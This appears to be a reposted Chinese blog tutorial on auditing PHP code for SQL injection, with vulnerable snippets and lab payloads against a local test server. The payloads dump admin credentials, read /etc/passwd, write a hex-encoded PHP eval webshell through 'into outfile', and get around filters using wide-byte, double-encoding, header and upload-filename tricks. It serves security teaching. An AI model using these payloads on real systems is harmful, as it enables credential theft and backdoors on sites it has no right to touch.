代码审计之SQL注入

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计之SQL注入相关的知识,希望对你有一定的参考价值。

技术分享

 

0x01报错注入及利用

 

环境说明 kali LAMP

0x0a 核心代码

现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:

技术分享
<?php
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
//这里id没有做整形转换
$id = isset($_GET[‘id‘]) ? $_GET[‘id‘] : 1;
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
技术分享

技术分享

数据库内容

技术分享

 

0x0b注入测试

1. 正常访问

 

http://192.168.192.128/sqltest/news.php

 

http://192.168.192.128/sqltest/news.php?id=1
http://192.168.192.128/sqltest/news.php?id=2

...

 

2. 测试字段数

PS:3 正常,4报错,说明有三个字段

 

http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 3

 

http://192.168.192.128/sqltest/news.php?id=1 and 1=2 order by 4

技术分享

 

 

3. 测试回显字段

PS: 2,3均回显,说明均是回显字段

 

http://192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3

例如,在3字段测试user()函数

 技术分享

 4. 查询当前库下的所有表

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

技术分享

 

 

5.测试表中的字段名称

 

PS:admin 的十六进制61646d696e  ; news十六进制 6e657773

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e

 技术分享

技术分享

 

 6.查询admin表下的用户名密码

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x23,pass) from admin

技术分享

 

7.读取linux系统文件(/etc/passwd,需转换为16进制)

ps:权限足够

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
技术分享

 

 

 

 8. 权限足够的情况下写SHELL

 

 

192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile ‘/var/www/html/1.php‘--
若权限不足,换个目录
phpinfo页面
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020706870696e666f28293b203f3e into outfile ‘/var/www/html/sqltest/3.php‘--
写个webshell(注意16进制转换时是一条语句)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into outfile ‘/var/www/html/sqltest/5.php‘--

执行完毕不报错

技术分享

技术分享

 

 

0x0c关于权限的tips 

另外,注入写入的文件可能root删除不掉,需要结合chattr 来解决。(攻防比赛中,可能会遇到)

技术分享

 

 

参考:

 

http://mp.weixin.qq.com/s?src=3&timestamp=1469346783&ver=1&signature=JFsK7nVvnj9R0JHq1j-KXdP159o764mHQ8guzfVPPdAjpPhsZEFyqhJFvvdWchcJy*PfAGY4pe2KBkVJI4-X6kHovCMWCubqcpDZ7W3FmRbZoRGsFOC2zcXEaNaO2no3tRTJokL9h-s-yLq7kQWxvx7cCEcEjW6rdqaWTwcneMI=

 

 

 

0x02注入之编码防护

0x03 注入之编码防护

 

现在的WEB程序基本都有对SQL注入的全局过滤,运维人员配置PHP环境是一般会开启魔术引号GPC,即magic_quotes_gpc=On的情况 下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\\)与 NUL(NULL 字符)等字符都会被加上反斜线进行转义处理。不过GPC在PHP5.4版本后就取消了,所以现在一般都用addslashes()函数来代替GPC进行过 滤处理。目前用PHP开发的应用一般是MVC的框架模式进行开发,对GET、POST和COOKIE等传递的参数通常使用addslashes()函数进 行转义,并引入一个类似common.php的文件进行处理addslashes()函数对接收的参数进行过滤,尤其是单引号。处理代码如下:

 

技术分享
<?php

if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE   = addslashes_deep($_COOKIE);
}
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        if (!get_magic_quotes_gpc())
        {
        $value=is_array($value) ? array_map(‘addslashes_deep‘, $value) : addslashes($value);
        }
        else
        {
        $value=is_array($value) ? array_map(‘addslashes_deep‘, $value) : mystrip_tags($value);
        }
        return $value;
    }
}
?>
技术分享

 

 

addslashes_deep函数会判断GPC是否开启,如果没有开启就会对GET、POST和COOKIE传递的参数进行转义。然而仅仅使用这种方式会存在很多绕过的情况。

 

 技术分享

 

一些编码解码的函数像urldecode、base64decode的使用会导致绕过addslashes函数的全局防护,以urldecode函数为例,缺陷代码如下:

 

 

技术分享
<?php
require_once(‘common.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[‘id‘]) ? urldecode($_GET[‘id‘]) : 1;
$sql = "SELECT * FROM news WHERE id=‘{$id}‘";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
技术分享

 

技术分享

 

说明单引号经过了addslashes函数的转义,我们查下sql查询的日志,确实是对单引号进行转义处理了:

select * from news where id=‘1\\‘‘

当输入 http://192.168.192.128/sqltest/sql2/urldecode.php?id=1%2527

技术分享

http://192.168.192.128/sqltest/sql2/urldecode.php?id=%2527 and 1=2 union select 1,2,user()%23

技术分享

 

http://192.168.192.128/sqltest/sql2/urldecode.php?id=-1%2527  union select 1,2,concat(name,0x23,pass) from admin%23

技术分享

 

 from:

http://mp.weixin.qq.com/s?__biz=MzIwMTQ2NzY4NA==&mid=2652520439&idx=1&sn=d15f5a6a02336bce742c2822c62462da&scene=21#wechat_redirect

 

0x03函数错用致注入 

一些函数的错误使用会引发SQL注入的场景以及二次注入漏洞产生的原因。

0x0a 全局bypass的tips

1.函数的错误使用

1.1 replace函数

1.1.1 把单引号替换成空,\\‘变成了\\  double条件情况下可继续注入  wooyun-2014-050636

1.1.2 replace 是用户可控的,就是说用户可以想把什么提交成空就提交成空

1.2 stripslashes函数

1.2.1 全局做过addslashes后,又使用stripslashes去掉转义造成注入 wooyun-2015-0122057

http://www.2cto.com/Article/201301/182509.html

2.二次注入

2.1 涉及到的是入库出库

在入库时经过全局转义,入库后转义符就小时,那么就是a‘,把这个查询出来,那么出库的就是a‘ 如果再带入到了查询,那么就成功的引入了单引号导致注入。

http://www.cnbraid.com/2016/02/19/sql3

 

0x0b实例说明,函数误用str_replace

一些常用函数像str_replace、stripslashes的错误使用会导致绕过addslashes函数的全局防护,首先来看str_replace函数,有时写程序会使用str_replace函数将参数中的单引号、括号等字符替换为空,使用不当就会引发注入问题。缺陷代码如下:

streplace.php 如下,其中关键引用是str_replace

技术分享
<?php
require_once(‘common.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET[‘id‘]) ? $_GET[‘id‘] : 1;
$title = isset($_GET[‘title‘]) ? $_GET[‘title‘] : ‘news title‘;
$id = str_replace("‘",‘‘,$tmp_id);
$sql = "SELECT * FROM news WHERE id=‘{$id}‘ and title=‘{$title}‘";
echo $sql.‘<br />‘;
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row[‘title‘]}</h3><p>{$row[‘content‘]}<p>\\n";
mysql_free_result($result);
?>
</body>
</html>
技术分享

输入测试http://192.168.192.128/sqltest/sql3/streplace.php?id=-1‘&title=news title

技术分享

发现参数id右边的单引号被反斜杠转义成字符了,说明又可以注入了。

简单分析下上面id参数的执行过程,-1’经过addslashes函数转义后变成了-1\\’,然后再经过str_replace函数干掉了单引号变成了-1\\,最后带入查询的语句才是下面这样:

SELECT * FROM news WHERE id=‘-1\\‘and title=‘news title‘

反斜杠转义了sql查询语句里id后面那个单引号,导致title参数可以构造sql注入语句了,我们直接构造获取管理员账户密码的语句

http://192.168.192.128/sqltest/sql3/streplace.php?id=-1‘&title=union select 1,2,concat(name,0x23,pass) from admin%23

技术分享

 

 0x0c 实例stripslashes函数

接下来我们再看下stripslashes函数,这个函数的定义是删除由addslashes() 函数添加的反斜杠,所以很明显使用不当的话就会引发SQL注入。缺陷代码如下:

stripslashes.php

技术分享
<?php
require_once(‘common.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET[‘id‘]) ? $_GET[‘id‘] : 1;
$id = stripslashes($tmp_id);
$sql = "SELECT * FROM news WHERE id=‘{$id}‘";
echo $sql.‘<br />‘;
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row[‘title‘]}</h3><p>{$row[‘content‘]}<p>\\n";
mysql_free_result($result);
?>
</body>
</html>
技术分享

技术分享

 

分析下参数id的执行过程,-1’经过addslashes函数转义后变成了-1\\’,然后再经过stripslashes函数干掉了反斜杠变成了-1’,所以又可以愉快的注入了。

http://192.168.192.128/sqltest/sql3/stripslashes.php?id=-1‘ union select 1,2,concat(name,0x23,pass) from admin%23

技术分享

 

0x0d 二次注入

二次注入也是一种很常见的sql注入,它涉及到入库和出库。假如我们注册了一个网站,填写个人资料后保存时数据库里执行类似”insert into test values(1,’sm0nk’,’18’,’dev’)”这种sql语句,代表我向数据库表test里插入昵称为sm0nk,年龄18岁,爱好是dev的一个操作。接下来看下单引号在这条语句执行过程和mysql中的变化:
假如昵称引入一个单引号为sm0nk’,那么经过转义后入库的语句为”insert into test values(1,’sm0nk\\’’,’18’,’dev’)”,然后我们看下mysql执行这条语句后数据库里内容变化:

 技术分享

我们执行一条查询语句后发现sm0nk\\’入库后变成了sm0nk’,转义字符消失,所以在一些页面输出昵称的地方又可以构造注入语句获取管理员账户密码了~

 

 

 0X04 宽字节注入审计

0x0a bypass tips

1.数据库字符集GBK的宽字节注入

1.1数据库的连接方式不同(数据库与PHP的编码不一致,转换过程中可能存在)

1.2 错误方法:set names gbk

1.3 http://www.freebuf.com/articles/web/31537.html

2.转换字符集造成的宽字节注入

2.1 从GBK转到UTF8   wooyun-2014-055842

2.2 从UTF8转到GBK

0x0b说明

首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:

1、正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \\’;

2、但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。

现在基本上都会将mysql的连接配置为“setcharacter_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。

 

0x0c 案例说明

字符编码的转换函数像iconv的使用会出现这类注入问题,分gbk转utf-8和utf-8转gbk两种情况。

GBK转UTF-8

 缺陷代码

技术分享
<?php
  require_once(‘common.php‘);
  $conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) ordie(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
  $title_tmp = isset($_GET[‘title‘]) ? urldecode($_GET[‘title‘]) : ‘news title‘;
  //这里对title进行了gbk到utf-8的转换
  $title = iconv("gbk","utf-8",$title_tmp);
  $sql = "SELECT * FROM news WHERE title = ‘{$title}‘";
  echo$sql;
  $result = mysql_query($sql, $conn) ordie(mysql_error()); 
  ?>
技术分享

浏览器输入http://localhost/sqltest/kuanzifu1.php?title=%df‘union select 1,2,concat(name,0x23,pass) from admin%23  发现获取了管理员账户密码

其实跟前言里第2条是一样的,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\\),然后%df%5c正好属于gbk的汉字编码范围,经过iconv转换到utf-8编码转换后变成了汉字“運”,从而吞掉了反斜杠使得单引号逃脱出来。

UTF-8转GBK

技术分享
<?php
  require_once(‘common.php‘);
  $conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) ordie(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
  $title_tmp = isset($_GET[‘title‘]) ? urldecode($_GET[‘title‘]) : ‘news title‘;
  $title = iconv("utf-8","gbk",$title_tmp);
  $sql = "SELECT * FROM news WHERE title = ‘{$title}‘";
  echo$sql;
  $result = mysql_query($sql, $conn) ordie(mysql_error()); 
  ?>
技术分享

这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\\正好为5c。

所以如果我们将title设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\\’,然后会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来就会引发注入漏洞。

直接获取管理员账户密码的POC如下:

http://localhost/sqltest/kuanzifu2.php?title=錦‘ union select1,2,concat(name,0x23,pass) from admin%23

 

0x05 注入之盲点 

0x0a 总体盲点(一)如下:


1.注入点类似id=1这种整型的参数就会完全无视GPC的过滤;

1.1 一般数字型的都不会加单引号

1.2 $id 没有被单引号且没有被强制转换  wooyun-2010-065605

1.3 过程中不全是数字型,忘记加单引号 wooyun-2014-079045

1.4 PHP弱类型语言,wooyun-2010-088872
2.注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;

判断gpc是否开启,如果off就对数组中的value就行addslashes,没有对数组中的key进行转移,key带入SQL

wooyun-2010-069746    wooyun-2014-070353    wooyun-2014-070366    wooyun-2014-071516

3.有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER等变量。
附常见的SERVER变量(危险变量):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

3.1 获取用户IP并入库的变量X_FORWARDED_FOR

wooyun-2014-068853    wooyun-2010-0173485    wooyun-2010-0173201    wooyun-2010-0169337

3.2 检测IP的正则可被绕过(例如在cmseasy中验证IP的正则中(%+),导致后面可以写任意字符)

wooyun-2014-062957

 

0x0b 数字型注入

1.传入的参数未做intval转换、构造的sql语句没有单引号保护

技术分享
<?php
require_once(‘common.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[‘id‘]) ? $_GET[‘id‘]: 1;
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
技术分享

这种数字型的注入是全局防护的盲点,构造注入语句完全不需要单引号的支持,所以也就不存在转义了。例如我们直接构造获取管理员账户密码的POC:

192.168.192.128/sqltest/sql5/int1.php?id=-1  union select 1,2, concat(name,0x23,pass) from admin%23

技术分享

 

 

2.php弱类型语言,判断逻辑错误引发注入

技术分享
<?php
require_once(‘common.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[‘id‘]) ? $_GET[‘id‘]: 1;
if($id<1){
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
}
?>
技术分享

当然前提是数字型的注入,这里特殊之处在于增加了个if($id<1)的逻辑判断,但PHP弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。所以构造获取管理员账户密码的POC:

192.168.192.128/sqltest/sql5/int2.php?id=0 union select 1,2,concat(name,0x23,pass)from admin %23

技术分享

3.过程中不全是数字型,忘记加单引号

这种情况是在第一条sql语句里是有单引号保护的,紧接着第二条sql语句没有单引号保护引发的注入,缺陷的代码如下:

技术分享
<?php
require_once(‘common.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[‘id‘]) ? $_GET[‘id‘]: 1;
$sql = "SELECT * FROM news WHERE id=‘".$id."‘";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
$sql2 = "SELECT * FROM news WHERE id=".$id;
$result2 = mysql_query($sql2, $conn) or die(mysql_error()); 
?>
技术分享

第一条sql语句有单引号保护,第二条sql语句没有了单引号保护从而可以进一步注入。构造获取管理员账户密码的POC

192.168.192.128/sqltest/sql5/int3.php?id=-1  union select 1,2,concat(name,0x23,pass)from admin %23

 

0x0c 数组类型,全局防护只过滤了value/key,未过滤代入查询

全局防护的代码只对数组中的vaule进行了过滤,key未过滤引发注入,全局防护缺陷代码如下:

技术分享
<?php
if (!empty($_GET))
{
$_GET=Add_S($_GET);
}
if (!empty($_POST))
{
$_POST=Add_S($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE=Add_S($_COOKIE);
}

function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
            $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}
技术分享

可以看到,对GET、POST和COOKIE传递的数组参数只过滤了value,忽视了key,漏洞代码如下:

技术分享
<?php
require_once(‘commonnew.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$title = isset($_POST[‘title‘]) ? $_POST[‘title‘]: 1;
foreach($title as $key=>$value){
    $sql = "SELECT * FROM news WHERE id=‘".$key."‘ and title=‘".$value."‘";
    $result = mysql_query($sql, $conn) or die(mysql_error()); 
}

?>
技术分享

虽然查询语句中WHERE id=’”.$key.”‘有单引号保护,但是全局防护代码就没过滤key就存在注入了,首先POST请求下:

192.168.192.128/sqltest/sql5/array.php

title[1]=news title 发现可以获取正常内容:

 构造获取管理员账户密码的POST请求

192.168.192.128/sqltest/sql5/array.php

title[-1‘ union select 1,2,concat(name,0x23,pass) from admin%23]=news title

技术分享

 

0x0d SERVER变量未过滤

上面的全局防护只过滤了GET、POST和COOKIE而忽略了SERVER变量,SERVER变量的注入常常发生在获取用户ip并入库的函数上,类似如下代码:

技术分享
//获取访问者IP(PHP代码/函数)    
function get_ip(){
    if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
      $ip=getenv("HTTP_CLIENT_IP");
    }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
      $ip=getenv("HTTP_X_FORWARDED_FOR");
    }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
      $ip=getenv("REMOTE_ADDR");
    }else if (isset($_SERVER[‘REMOTE_ADDR‘]) && $_SERVER[‘REMOTE_ADDR‘] && strcasecmp($_SERVER[‘REMOTE_ADDR‘],"unknown")){
      $ip=$_SERVER[‘REMOTE_ADDR‘];
    }else{
      $ip="unknown" ;  
    }
    return $ip;  
}
技术分享

通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以可以构造注入语句,缺陷代码如下:

 

技术分享
<?php
require_once(‘common.php‘);
$conn = mysql_connect(‘localhost‘, ‘root‘, ‘root‘) or die(‘bad!‘);
mysql_query("SET NAMES binary‘");
mysql_select_db(‘test‘, $conn) OR emMsg("数据库连接失败");
$id = get_ip();
$sql = "SELECT * FROM news WHERE id=‘".$id."‘";;
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
技术分享

技术分享

 

这里可以在请求中添加获取管理员账户密码的POC为 X-Forwarded-For:-1‘ union select 1,2,concat(name,0x23,pass) from admin#,由于SERVER变量没过滤所以这里单引号保护也就没用了。成功获取管理员账户密码如下:

 技术分享

技术分享

 

 0x06 【续】注入之盲点

0x0a盲点如下:
1.FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;

1.1 全局只对COOKIE GET POST 转义,遗漏了FILES,且不受GPC(FILES 注入一般是因为上传,会把上传的名字带到insert当中入库)

1.2 wooyun-2014-065837

1.3 入库时候对文件的名字进行了转义,在获取后缀后在入库时对文件名的转义却没有对后缀转义,导致注入

1.4 wooyun-2010-079041
2.变量覆盖,危险函数:extract()、parse_str()、$$。

2.1 extract($POST)直接从POST数组中取出变量,覆盖掉之前的一些变量,覆盖的话一般是覆盖掉表前缀之类

2.2 select * from $pre_admin where xxx像这种的就覆盖掉$pre,然后补全语句注入

2.3 wooyun-2014-053189

2.4 wooyun-2014-051734

2.5 $$ wooyun-2010-055338

0x0b FILES注入

FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统,首先看看它的全局防护是怎么处理的:

技术分享
index.php:
include TIPASK_ROOT . ‘/model/tipask.class.php‘;

$tipask = new tipask();
$tipask->run();
... ...
function init_request(){
... ...
        $this->get = taddslashes($this->get, 1);
        $this->post = taddslashes(array_merge($_GET, $_POST));
        checkattack($this->post, ‘post‘);
        checkattack($this->get, ‘get‘);
        unset($_POST);
    }
技术分享

 

可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:

技术分享
    function onupload() {
        //上传配置
        $config = array(
            "uploadPath" => "data/attach/", //保存路径
            "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
            "fileSize" => 10 //文件大小限制,单位MB
        );

//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
        $state = "SUCCESS";
        $clientFile = $_FILES["upfile"];
        if (!isset($clientFile)) {
            echo "{‘state‘:‘文件大小超出服务器配置!‘,‘url‘:‘null‘,‘fileType‘:‘null‘}"; //请修改php.ini中的upload_max_filesize和post_max_size
            exit;
        }

//格式验证
        $current_type = strtolower(strrchr($clientFile["name"], ‘.‘));
        if (!in_array($current_type, $config[‘fileType‘])) {
            $state = "不支持的文件类型!";
        }
//大小验证
        $file_size = 1024 * 1024 * $config[‘fileSize‘];
        if ($clientFile["size"] > $file_size) {
            $state = "文件大小超出限制!";
        }
//保存文件
        if ($state == "SUCCESS") {
            $targetfile = $config[‘uploadPath‘] . gmdate(‘ym‘, $this->time) . ‘/‘ . random(8) . strrchr($clientFile["name"], ‘.‘);
            $result = $_ENV[‘attach‘]->movetmpfile($clientFile, $targetfile);
            if (!$result) {
                $state = "文件保存失败!";
            } else {
                $_ENV[‘attach‘]->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
            }
        }
//向浏览器返回数据json数据
        echo ‘{"state":"‘ . $state . ‘","url":"‘ . $targetfile . ‘","fileType":"‘ . $current_type . ‘","original":"‘ . $clientFile["name"] . ‘"}‘;
    }
技术分享

 

可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。

 

    function add($filename,$ftype,$fsize,$location,$isimage=1) {
        $uid=$this->base->user[‘uid‘];
        $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid)  VALUES ({$this->base->time},‘$filename‘,‘$ftype‘,‘$fsize‘,‘$location‘,$isimage,$uid)");
        return $this->db->insert_id();
    }

 

上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:

filename="1‘,‘.php‘,1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg

数据库里成功将管理员账户密码插入到attach表中:

技术分享

 

 0x0c 变量覆盖

 出现比较多的是extract函数,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。

<?php
$a = "init test";
@extract($_POST);
#print_r($a);
echo $a;
?>

技术分享

之前出现过案例是覆盖表前缀上,例如sql执行语句如下:
select title,content from {$pre}news where id=1
然后攻击者直接浏览器提交pre=“获取敏感信息的语句”来覆盖表前缀从而实现注入攻击。

 

$$变量覆盖
原理其实跟上面一样,有个很经典的$$变量覆盖的代码:

技术分享
<?php
$a= "init test";
foreach(array(‘_COOKIE‘,‘_POST‘,‘_GET‘)as $_request){
    foreach($$_request as $_key=>$_value){
        $$_key = addslashes($_value);
    }
}
echo $a;
?>
                           
技术分享

技术分享

技术分享






























































以上是关于代码审计之SQL注入的主要内容,如果未能解决你的问题,请参考以下文章

代码审计之SQL注入

JAVA代码审计之WebGoat靶场SQL注入

Java代码审计之SQL注入

PHP代码审计 那些年我们一起挖掘SQL注入 - 3.全局防护Bypass之Base64Decode

Java代码审计连载之—添油加醋

堕落小白的前台sql注入cms代码审计